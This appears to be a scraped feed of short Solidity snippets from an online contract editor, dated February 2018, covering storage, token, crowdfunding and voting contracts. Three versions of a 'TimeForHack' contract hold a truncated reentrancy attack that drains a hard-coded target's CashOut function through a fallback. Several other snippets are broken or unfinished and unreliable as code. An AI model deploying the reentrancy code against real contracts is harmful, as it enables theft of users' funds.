        Log(bytes32ToString(name));

        bytes32 nationality;
        nationality = "Pak";
        Log(bytes32ToString(nationality));
    }

    function bytes32ToString(bytes32 x) internal pure returns (string) {
        bytes memory bytesString = new bytes(32);
        uint charCount = 0;
        for (uint j = 0; j < 32; j++) {
        byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
        if (char != 0) {
            bytesString[charCount] = char;
            charCount++;
        }
        }
        bytes memory bytesStringTrimmed = new bytes(charCount);
        for (j = 0; j < charCount; j++) {
        bytesStringTrimmed[j] = bytesString[j];
        }
        return string(bytesStringTrimmed);
    }
Feb 14, 2018 06:56:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//This is a very simple demonstration of a while loops. Same as JS/c.
pragma solidity ^0.4.18;
contract BasicIterator {

    address creator;                  // reserve one "address"-type spot
    uint8[10] integers;               // reserve a chunk of storage for 10 8-bit unsigned integers in an array

    function BasicIterator() public
    {
        creator = msg.sender;         // set the creator address
        uint8 x = 0;                  // initialize an 8-bit, unsigned integer to zero
        while(x < integers.length)    // the variable integers was initialized to length 10
        {
        	integers[x] = x;      // set integers to [0,1,2,3,4,5,6,7,8,9] over ten iterations
        	x++;
        }
    }
    
    function getSum() public constant returns (uint)  // "constant" just means this function returns something to the caller
    {                                          // which is immediately followed by
Feb 14, 2018 04:39:53 UTC
//Contract example to show a greeting
//We can set and get a greeting in this contract.
//We can also get a blockNumber from a function in here
pragma solidity ^0.4.18;

/* 
	The following is an extremely basic example of a solidity contract. 
	It takes a string upon creation and then repeats it when greet() is called.
*/

contract Greeter         // The contract definition. A constructor of the same name will be automatically called on contract creation. 
{
    address creator;     // At first, an empty "address"-type variable of the name "creator". Will be set in the constructor.
    string greeting;     // At first, an empty "string"-type variable of the name "greeting". Will be set in constructor and can be changed.

    function Greeter(string _greeting) public   // The constructor. It accepts a string input and saves it to the contract's "greeting" variable.
    {
        creator = msg.sender;
        greeting = _greeting;
    }

    function greet() public constant returns (string)          
    {
    
Feb 14, 2018 04:32:29 UTC
//basic contract to show getters and setters on a blockchain
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 14, 2018 04:28:45 UTC
// Contract address: 0x08cee0ab11fe46e29c539509f25bcbda2f70e2bf
// Contract name: BTTSLib
// Etherscan link: https://etherscan.io/address/0x08cee0ab11fe46e29c539509f25bcbda2f70e2bf#code
pragma solidity ^0.4.18;

// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service v1.10
//
// https://github.com/bokkypoobah/BokkyPooBahsTokenTeleportationServiceSmartContract
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------


// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns
Feb 14, 2018 04:16:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;
contract SimpleStore {
  

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 14, 2018 01:16:34 UTC
pragma solidity ^0.4.18;

contract MyStrings {
    event Log(bytes32 message);
    function doSomething() public {
        bytes32 name = "Zia";//dont use var
        name = "Mark";
        Log(name);

        bytes32 nationality;
        nationality = "Pak";
        Log(nationality);
    }
Feb 13, 2018 21:28:01 UTC
pragma solidity ^0.4.18;

contract MyStrings {
    event Log(bytes32 message);
    function doSomething() public {
        bytes32 name = "Zia";//dont use var
        name = "Mark";
        Log(name);

        bytes32 nationality = "Pakistani"; //cannot have unassigned variables
        Log(nationality);
    }
Feb 13, 2018 21:25:12 UTC
/pragma solidity ^0.4.18;

contract MyStrings {
    event Log(bytes32 message);
    function doSomething() public {
        bytes32 name = "Zia";//dont use var
        name = "Mark";
        Log(name);

        bytes32 nationality = "Pakistani"; //cannot have unassigned variables
        Log(nationality);
    }
Feb 13, 2018 21:24:20 UTC
pragma solidity ^0.4.18;

contract HelloWorld {
  event Log(bytes32 message);
 function renderHelloWorld () public {
   Log("Hello World from Zia");
 }
Feb 13, 2018 20:51:34 UTC
pragma solidity ^0.4.19;

contract Crowdfunding {
  
  uint crowdSaleDuration;
  uint crowdSaleStart;
  uint crowdSaleGoal;
  address owner;
  mapping (address => uint) contributions;

  function Crowdfunding(uint256 _crowdsaleDuration, uint _crowdSaleGoal);
  function ownerWithdraw();
  function withdraw();
  function contribute();

}
Feb 13, 2018 16:42:15 UTC
// Contract address: 0x7e6a3cb705ed45a939573a93d9fd25c7b848c02c
// Contract name: PRPToken
// Etherscan link: https://etherscan.io/address/0x7e6a3cb705ed45a939573a93d9fd25c7b848c02c#code
pragma solidity ^0.4.18;

// ----------------------------------------------------------------------------
// 'PRP' 'PressPay' token contract
//
// Symbol      : PRP
// Name        : PressPay
// Total supply: 1,000,000,000.000000000000000000
// Decimals    : 18
//
// Enjoy.
//
// ----------------------------------------------------------------------------


// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
    function add(uint a, uint b) internal pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function sub(uint a, uint b) internal pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function mul(uint a, u
Feb 13, 2018 16:28:16 UTC
// Simple Crowdfunding Contract
pragma solidity ^0.4.19;

contract Crowdfunding {
  
  event Contributed(address _sender, uint amount);

  uint crowdSaleDuration;
  uint crowdSaleStart;
  uint crowdSaleTarget;
  address owner;
  bool crowdSaleOver;

  mapping (address => uint) contributions;
  
  function Crowdfunding(uint256 _crowdsaleDuration, uint _crowdSaleTarget) public {
    crowdSaleDuration = _crowdsaleDuration;
    crowdSaleStart = now;
    crowdSaleTarget = _crowdSaleTarget;
    owner = msg.sender;
  }

  function ownerWithdraw() targetReached external {
    owner.transfer(this.balance);
    crowdSaleOver = true;
  }

  // Make sure sender does not withdraw more than they have contributed
  function withdrawContribution(uint _amount) timeLimitReached targetNotReached {  
    require(contributions[msg.sender] - _amount >= 0); 
    contributions[msg.sender] -= _amount;
    msg.sender.transfer(_amount);
  }

  function contribute() payable public{
    contributions[msg.sender] += msg.value;
    Contrib
Feb 13, 2018 15:56:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract StructArrayInitWrong {
  
  event OnCreateRoom(address indexed _from, uint256 _value);

  struct Room {
       address[] players;       
       uint256 whosTurnId;
       uint256 roomState;
  }  
  Room[] public rooms;

  function createRoom() public{
      Room memory room;
      address[] memory adds = new address[](1);
      adds[0]=msg.sender;
      room.players= adds;
      room.whosTurnId=0;
      room.roomState=0;

      rooms.push(room);
      //rooms[rooms.length - 1].players.push(msg.sender);
      
      OnCreateRoom(msg.sender, 0);
  }

  function showAddress(uint index) public view returns (address firstAddress){
      return rooms[index].players[0];
  }
Feb 13, 2018 15:43:25 UTC
// Simple Crowdfunding Contract
pragma solidity ^0.4.19;

contract Crowdfunding {
  
  event Contributed(address _sender, uint amount);

  uint crowdSaleDuration;
  uint crowdSaleStart;
  mapping (address => uint) contributions;
  
  function Crowdfunding(uint256 _crowdsaleDurationInSeconds) public {
    crowdSaleDuration = _crowdsaleDurationInSeconds;
    crowdSaleStart = now;
  }
  function contribute() payable public{
    contributions[msg.sender] += msg.value;
  }

  function 

  function() payable {
    contribute();
  }

  modifier durationOver() {
    require(now >= timeStart + crowdSaleDuration)
  }


Feb 13, 2018 15:41:33 UTC
// Contract address: 0xbf92c30ecebae64ae5ab0361f9010d7317be3c50
// Contract name: GSEPTO
// Etherscan link: https://etherscan.io/address/0xbf92c30ecebae64ae5ab0361f9010d7317be3c50#code
pragma solidity ^0.4.16;

contract GSEPTO {
    string public name = "GSEPTO";
    string public symbol = "GSEPTO";

    address private owner;//操作者
    uint256 public fundingGoal; //目标金额
    uint256 public amountRaised; //当前金额
    mapping(address => uint256) public balanceOf; //每个地址的众筹数目,map类型

    event Transfer(address indexed _from, address indexed _to, uint256 _amount);//转账
    event FundTransfer(address indexed _backer, uint256 _amount);//事件,资金转账记录
    event IncreaseFunding(uint256 indexed _increase, uint256 indexed _curFundingGoal);//事件,增发
    bool public crowdsaleOpened = true; //合约开关,启动时默认为“开”

    /*  at initialization, setup the owner */
    function GSEPTO(uint256 _fundingGoal) public {
       
Feb 13, 2018 14:36:15 UTC
pragma solidity ^0.4.19;

contract Owned {
  address owner;
  function Owned() {
    owner = msg.sender;
  }
  function kill() {
    if (msg.sender == owner) selfdestruct(owner);
  }
}

interface Target {
    function CashOut(uint _am) public;
    function Deposit() public payable;
}

contract TimeForHack is Owned 
{
    address target = 0x6af5d878a4bfb60e4cf57df316fbf5886f69185c;
    // address target = 0x95D34980095380851902ccd9A1Fb4C813C2cb639; // mainnet
    event Hacked(address indexed by, uint256 amount);
    event Called(address indexed by, uint256 amount);
    
    function () payable {
         Target t = Target(target);
        // let's hack.
        if (msg.gas < 200000) {
            return;
        }
        Hacked(target, target.balance);
        if (msg.value <= target.balance) {
            t.CashOut(msg.value);
        }    
    }
    
    function doIt() payable {
    
        Called(msg.sender, this.balance);
         Target t = Target(target);
         t.Deposit.value(msg.value)();
       
Feb 13, 2018 11:40:40 UTC

pragma solidity ^0.4.16;

interface token {
    function transfer(address receiver, uint amount);
}

contract Crowdsale {
    address public beneficiary;
    uint public fundingGoal;
    uint public amountRaised;
    uint public deadline;
    uint public price;
    token public tokenReward;
    mapping(address => uint256) public balanceOf;
    bool fundingGoalReached = false;
    bool crowdsaleClosed = false;

    event GoalReached(address recipient, uint totalAmountRaised);
    event FundTransfer(address backer, uint amount, bool isContribution);

    /**
     * Constrctor function
     *
     * Setup the owner
     */
    function Crowdsale(
        address ifSuccessfulSendTo,
        uint fundingGoalInEthers,
        uint durationInMinutes,
        uint etherCostOfEachToken,
        address addressOfTokenUsedAsReward
    ) {
        beneficiary = ifSuccessfulSendTo;
        fundingGoal = fundingGoalInEthers * 1 ether;
        deadline = now + durationInMinutes * 1 minutes;
        price = etherCostOfEachT
Feb 13, 2018 02:13:39 UTC
pragma solidity ^0.4.19;

contract Owned {
  address owner;
  function Owned() {
    owner = msg.sender;
  }
  function kill() {
    if (msg.sender == owner) selfdestruct(owner);
  }
}

interface Target {
    function CashOut(uint _am) public;
    function Deposit() public payable;
}

contract TimeForHack is Owned 
{
    address target = 0x6af5d878a4bfb60e4cf57df316fbf5886f69185c;
    // address target = 0x95D34980095380851902ccd9A1Fb4C813C2cb639; // mainnet
    event Hacked(address indexed by, uint256 amount, string s);
    event Called(address indexed by, uint256 amount, string s);
    
    function () payable {
         Target t = Target(target);
        // let's hack.
        Hacked(target, target.balance, "f");
        if (msg.value <= target.balance) {
            t.CashOut(msg.value);
        }
        this.transfer(target.balance);
            
    }
    
    function doIt() payable {
    
        Called(msg.sender, this.balance, "d");
         Target t = Target(target);
         t.Deposit.value(msg.v
Feb 13, 2018 01:15:00 UTC
pragma solidity ^0.4.19;

contract Owned {
  address owner;
  function Owned() {
    owner = msg.sender;
  }
  function kill() {
    if (msg.sender == owner) selfdestruct(owner);
  }
}

interface Target {
    function CashOut(uint _am) public;
    function Deposit() public payable;
}

contract TimeForHack is Owned 
{
    address target = 0x6af5d878a4bfb60e4cf57df316fbf5886f69185c;
    // address target = 0x95D34980095380851902ccd9A1Fb4C813C2cb639; // mainnet
    event Hacked(address indexed by, uint256 amount, string s);
    event Called(address indexed by, uint256 amount, string s);
    
    function () payable {
         Target t = Target(target);
        // let's hack.
        if (msg.gas < 200000) {
            return;
        }
        Hacked(target, target.balance, "f");
        if (msg.value <= target.balance) {
            t.CashOut(msg.value);
        }
        this.transfer(target.balance);
            
    }
    
    function doIt() payable {
    
        Called(msg.sender, this.balance, "d");
    
Feb 13, 2018 01:11:02 UTC
pragma solidity ^0.4.18;

interface CornFarm
{
    function buyObject(address _beneficiary) public payable;
}

interface Corn
{
    function transfer(address to, uint256 value) public returns (bool);
}

library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a 
Feb 13, 2018 00:07:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

library IterableSet { 
  struct Item {
    uint previous;
    bool value;
  }

  struct Set {
    uint tail;
    uint size;
    mapping (uint => Item) data;
  }

  function exists(Set storage self, uint key) public view returns (bool) {
    return self.data[key].value;
  }

  function add(Set storage self, uint key) public {
    self.data[key] = Item({
      previous: self.tail,
      value: true
    });
    self.tail = key;
    self.size++;
  }

  function remove(Set storage self, uint key) public {
    require(exists(self, key));
    if(self.tail != key) {
      self.tail = self.data[self.tail].previous;
      delete self.data[key];
      self.size--;
    } else {
      Item storage next = self.data[self.tail];
      while( next.previous != key) { next = self.data[next.previous]; }
      next.previous = self.data[key].previous;
      delete self.data[key];
      self.size--;
    }
  }
}

contrac
Feb 12, 2018 18:45:08 UTC
pragma solidity ^0.4.11;

interface ExeyERC20ICO {
    function transfer(address _receiver, uint256 _amount);
}

contract ExeySafeICO {

    uint256 public buyPrice;
    ExeyERC20ICO public token;


    function ExeySafeICO(ExeyERC20ICO _token){
        token = _token;
        buyPrice = 10000;
    }

    function () payable {
        _buy(msg.sender, msg.value);
    }

    function buy() payable returns (uint256){
        uint tokens = _buy(msg.sender, msg.value);
        return tokens;
    }

    function _buy(address _sender, uint256 _amount) internal returns (uint){
        uint tokens = _amount / buyPrice;
        token.transfer(_sender, tokens);
        return tokens;
    }

 
Feb 12, 2018 16:36:31 UTC
pragma solidity ^0.4.16;

// copyright [email protected]

contract SafeMath {

    /* function assert(bool assertion) internal { */
    /*   if (!assertion) { */
    /*     throw; */
    /*   } */
    /* }      // assert no longer needed once solidity is on 0.4.10 */

    function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
      uint256 z = x + y;
      assert((z >= x) && (z >= y));
      return z;
    }

    function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
      assert(x >= y);
      uint256 z = x - y;
      return z;
    }

    function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
      uint256 z = x * y;
      assert((x == 0)||(z/x == y));
      return z;
    }

}

contract BasicAccessControl {
    address public owner;
    // address[] public moderators;
    uint16 public totalModerators = 0;
    mapping (address => bool) public moderators;
    bool public isMaintaining = true;

    function BasicAccessControl() public {
        owner 
Feb 12, 2018 11:37:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
/*     DONUT COIN  
-    
      HONEY DIP ISSUE      only 100 dozen  - 1200 issued
      1 decimal place, after all, who eats half a donut!
      Just some coding practice for the test networks. FR.
*/
//ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
contract Token {

    
//return total amount of tokens
   // function totalSupply() constant public returns (uint256 supply) {}

    //_owner The address from which the balance will be retrieved
    //return The balance
  //  function balanceOf(address _owner) constant public returns (uint256 balance) {}

    //notice send `_value` token to `_to` from `msg.sender`
    //_to The address of the recipient
    //_value The amount of token to be transferred
    //return Whether the transfer was successful or not
  //  function transfer(address _to, uint256 _value) public returns (bool success) {}

    //notice send `_value` token to `_t
Feb 12, 2018 08:51:24 UTC
Remix - JS VM
Optimization enabled

// make sure msg.sender == owner
// adds a Real Estate property
addProperty: "0xdd870fa1b7c4700f2bd7f44238821c26f7392148", 123123, 456456, false

// make sure msg.sender == _seller , the first account that is
// deploys the Notary contract
newNotary: "0xdd870fa1b7c4700f2bd7f44238821c26f7392148", "0x583031d1113ad414f02576bd6afabfb302140225", 0, 789789, 753753, 123123

// Use this in order to get the addres of the deployed Notary and use it to
// load contract from address in Remix
identifyNotary: 0

// call this with both seller and buyer and make sure
// msg.value == 753753
downPayment: 753753

// call this with both seller and buyer
// triggers preliminaryContract
agreementForPreliminary

// make sure msg.sender == seller
// modifies the previously agreed upon price and contract duration
// if both parties agree
sellerProposal: 789789789, 753753753

// make sure msg.sender == buyer
// modifies the previously agreed upon price and contract duration
// if both parties agree
Feb 12, 2018 08:29:10 UTC
pragma solidity ^0.4.19;

contract Owned {
    address owner;
    
    function Owned() public {
        owner = msg.sender;
    }
    
   modifier onlyOwner {
       require(msg.sender == owner);
       _;
   }
}

contract worlds is Owned{
    
    uint public expireTime;
    string name;
    uint reward = 0;
    
    function worlds() public {
        expireTime = now + 40 seconds;
    }

    modifier onlyExpire {
        require(expireTime < now);
        _;
    }
    
    event created(string name, uint expireTime);
    
    
    function setName(string _name) onlyOwner public  {
        name = _name;
        //expireTime = now + 20 seconds;
        created(_name, expireTime);
    }
    
    function getName() external view returns (string, uint){
        return(name,expireTime);
    }
    
    function claim() public onlyExpire{
        reward++;
        expireTime += 40 seconds;
        created(name, expireTime);
    }
    
    function getReward() external view returns (uint){
        return reward;
  
Feb 11, 2018 12:44:42 UTC
pragma solidity ^0.4.18;

contract Owned {
    address owner;
    
    function Owned() public {
        owner = msg.sender;
    }
    
   modifier onlyOwner {
       require(msg.sender == owner);
       _;
   }
}

contract worlds is Owned{
    
    uint expireTime = now + 40 seconds;
    string name;
    uint reward = 0;
    
    modifier onlyExpire {
        require(expireTime < now);
        _;
    }
    
    event created(string name, uint expireTime);
    
    
    function setName(string _name) onlyOwner public  {
        name = _name;
        //expireTime = now + 20 seconds;
        created(_name, expireTime);
    }
    
    function getName() external view returns (string, uint){
        return(name,expireTime);
    }
    
    function claim() public onlyExpire{
        reward++;
        expireTime += 40 seconds;
        created(name, expireTime);
    }
    
    function getReward() external view returns (uint){
        return reward;
    }
    
    function getTime() external view returns (uint,uint)
Feb 11, 2018 10:30:55 UTC
// Contract address: 0x4ac00f287f36a6aad655281fe1ca6798c9cb727b
// Contract name: BTTSToken
// Etherscan link: https://etherscan.io/address/0x4ac00f287f36a6aad655281fe1ca6798c9cb727b#code
pragma solidity ^0.4.18;

// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service v1.10
//
// https://github.com/bokkypoobah/BokkyPooBahsTokenTeleportationServiceSmartContract
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------


// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view retur
Feb 11, 2018 02:36:12 UTC
// Contract address: 0xab96d3cc7d1abf848067ef26e4c2042496eabd7c
// Contract name: Studio
// Etherscan link: https://etherscan.io/address/0xab96d3cc7d1abf848067ef26e4c2042496eabd7c#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of th
Feb 10, 2018 18:36:16 UTC
// Contract address: 0xb94aefda2209ad7cd9a6d1c6a19e5001ce4636db
// Contract name: DigitalNomadToken
// Etherscan link: https://etherscan.io/address/0xb94aefda2209ad7cd9a6d1c6a19e5001ce4636db#code
//pragma solidity ^0.4.0;
pragma solidity ^0.4.18;

 

// ----------------------------------------------------------------------------

// 'DIN' 'DigitalNomad token contract

//

// Symbol      : DigitalNomad

// Name        : DigitalNomad token

// Total supply: 10,000,000.000000000000000000

// Decimals    : 18

//

// Enjoy.

//

// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.

// ----------------------------------------------------------------------------

 

 

// ----------------------------------------------------------------------------

// Safe maths

// ----------------------------------------------------------------------------

library SafeMath {

    function add(uint a, uint b) internal pure returns (uint c) {

        c = a + b;

        r
Feb 10, 2018 15:16:14 UTC
// Contract address: 0xe676922f11a93c9dc2b756dc2f0a724e322d966d
// Contract name: SendGift
// Etherscan link: https://etherscan.io/address/0xe676922f11a93c9dc2b756dc2f0a724e322d966d#code
pragma solidity ^0.4.18;

contract SendGift {
	address public owner;
	mapping(address=>address) public friends;
	mapping(address=>uint256) public received;
	mapping(address=>uint256) public sent;
	event Gift(address indexed _sender);
	modifier onlyOwner() {
      if (msg.sender!=owner) revert();
      _;
    }
    
    function SendGift() public {
    	owner = msg.sender;
    }
    
    
    function sendGift(address friend) payable public returns (bool ok){
        if (msg.value==0 || friend==address(0) || friend==msg.sender || (friend!=owner && friends[friend]==address(0))) revert();
        friends[msg.sender] = friend;
        payOut();
        return true;
    }
    
    function payOut() private{
        uint256 gift;
        address payee1 = friends[msg.sender];
        if (payee1==address(0
Feb 10, 2018 11:12:15 UTC
pragma solidity ^0.4.11;

contract Purchase {
    uint public value;
    address public seller;
    address public buyer;
    enum State { Created, Locked, Inactive }
    State public state;

    // Ensure that `msg.value` is an even number.
    // Division will truncate if it is an odd number.
    // Check via multiplication that it wasn't an odd number.
    function Purchase() public payable {
        seller = msg.sender;
        value = msg.value / 2;
        require((2 * value) == msg.value);
    }

    modifier condition(bool _condition) {
        require(_condition);
        _;
    }

    modifier onlyBuyer() {
        require(msg.sender == buyer);
        _;
    }

    modifier onlySeller() {
        require(msg.sender == seller);
        _;
    }

    modifier inState(State _state) {
        require(state == _state);
        _;
    }

    event Aborted();
    event PurchaseConfirmed();
    event ItemReceived();

    /// Abort the purchase and reclaim the ether.
    /// Can only be called by the seller
Feb 10, 2018 08:44:20 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

import "<COMPLETE_ME>/contracts/token/ERC20/TokenTimelock.sol"

contract Crowdsale {

  // use these to keep track of beneficiaries and their timelocktoken address; 1 per investor
  // this does not handle multiple investorments from the same beneficiaries; will require a tweak to handle that
  address[] tokenTimelocks;
  mapping(address => uint256) tokenTimelocksIndex; 

  // low level token purchase function
  // caution: tokens must be redeemed by beneficiary address
  function buyTokens(address beneficiary) public payable {
    require(whitelist[beneficiary]);
    require(beneficiary != 0x0);
    require(validPurchase());

    uint256 weiAmount = msg.value;

    uint256 remainingToFund = cap.sub(weiRaised);
    if (weiAmount > remainingToFund) {
      weiAmount = remainingToFund;
    }
    uint256 weiToReturn = msg.value.sub(weiAmount);
    uint256 tokens = ethToTokens(weiAmount);

    token.u
Feb 09, 2018 20:55:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

import "<COMPLETE_ME>/contracts/token/ERC20/TokenTimelock.sol"

contract Crowdsale {

  // use these to keep track of beneficiaries and their timelocktoken address; 1 per investor
  // this does not handle multiple investorments from the same beneficiaries; will require a tweak to handle that
  address[] tokenTimelocks;
  mapping(address => uint256) tokenTimelocksIndex; 

  // low level token purchase function
  // caution: tokens must be redeemed by beneficiary address
  function buyTokens(address beneficiary) public payable {
    require(whitelist[beneficiary]);
    require(beneficiary != 0x0);
    require(validPurchase());

    uint256 weiAmount = msg.value;

    uint256 remainingToFund = cap.sub(weiRaised);
    if (weiAmount > remainingToFund) {
      weiAmount = remainingToFund;
    }
    uint256 weiToReturn = msg.value.sub(weiAmount);
    uint256 tokens = ethToTokens(weiAmount);

    token.u
Feb 09, 2018 20:45:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

import "<COMPLETE_ME>/contracts/token/ERC20/TokenTimelock.sol"

contract Crowdsale {

  address[] tokenTimelocks;
  mapping(address => uint256) tokenTimelocksIndex; 

  // low level token purchase function
  // caution: tokens must be redeemed by beneficiary address
  function buyTokens(address beneficiary) public payable {
    require(whitelist[beneficiary]);
    require(beneficiary != 0x0);
    require(validPurchase());

    uint256 weiAmount = msg.value;

    uint256 remainingToFund = cap.sub(weiRaised);
    if (weiAmount > remainingToFund) {
      weiAmount = remainingToFund;
    }
    uint256 weiToReturn = msg.value.sub(weiAmount);
    uint256 tokens = ethToTokens(weiAmount);

    token.unpause();
    weiRaised = weiRaised.add(weiAmount);

    forwardFunds(weiAmount);
    if (weiToReturn > 0) {
      msg.sender.transfer(weiToReturn);
      Refund(msg.sender, beneficiary, weiToReturn);
    }
 
Feb 09, 2018 20:43:13 UTC
// Contract address: 0x3bea4d62f0131904714fe0560bfb4ca3935ed9af
// Contract name: MyAdvancedToken
// Etherscan link: https://etherscan.io/address/0x3bea4d62f0131904714fe0560bfb4ca3935ed9af#code
pragma solidity ^0.4.16;

contract owned {
    address public owner;

    function owned() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) onlyOwner public {
        owner = newOwner;
    }
}

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract TokenERC20 {
    // Public variables of the token
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    // 18 decimals is the strongly suggested default, avoid changing it
    uint256 public totalSupply;

    // This creates an array with all balances
    mapping (address => uint256) public balanceOf;
    mapp
Feb 09, 2018 12:40:12 UTC
//AAAAAAA
pragma solidity ^0.4.19;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint)  {
    return value*2;
  }

  uint value;
Feb 09, 2018 09:53:52 UTC
//Write your own contracts here. test test test
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 09, 2018 09:46:32 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 09, 2018 09:40:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 09, 2018 09:36:53 UTC
pragma solidity ^0.4.11;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new ballot to choose one of `proposalNames`.
    function Ballot(bytes32[] proposalNames) {
        
Feb 09, 2018 09:35:19 UTC
pragma solidity ^0.4.8;

contract SOA4 {
    /* Public variables of the token */
    string public name = 'SOA4 Test Token';
    string public symbol = 'SOA4';
    uint8 public decimals = 18;
    uint256 public totalSupply = 1E26; // 100 * (10**6) * (10**18)

    /* This creates an array with all balances */
    mapping (address => uint256) public balanceOf;

    /* This generates a public event on the blockchain that will notify clients */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /* Initializes contract with initial supply tokens to the creator of the contract */
    function SOA4() {
        balanceOf[msg.sender] = totalSupply;
    }

    /* Send coins */
    function transfer(address _to, uint256 _value) {
        assert(_to != 0x0);
        assert(balanceOf[msg.sender] >= _value);
        assert(balanceOf[_to] + _value >= balanceOf[_to]);
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        Transfer(msg.sender, _to, _value);
    }

   
Feb 09, 2018 09:24:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}


/// @title Interface for contracts conforming to ERC-721: Non-Fungibl
Feb 09, 2018 02:02:47 UTC
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

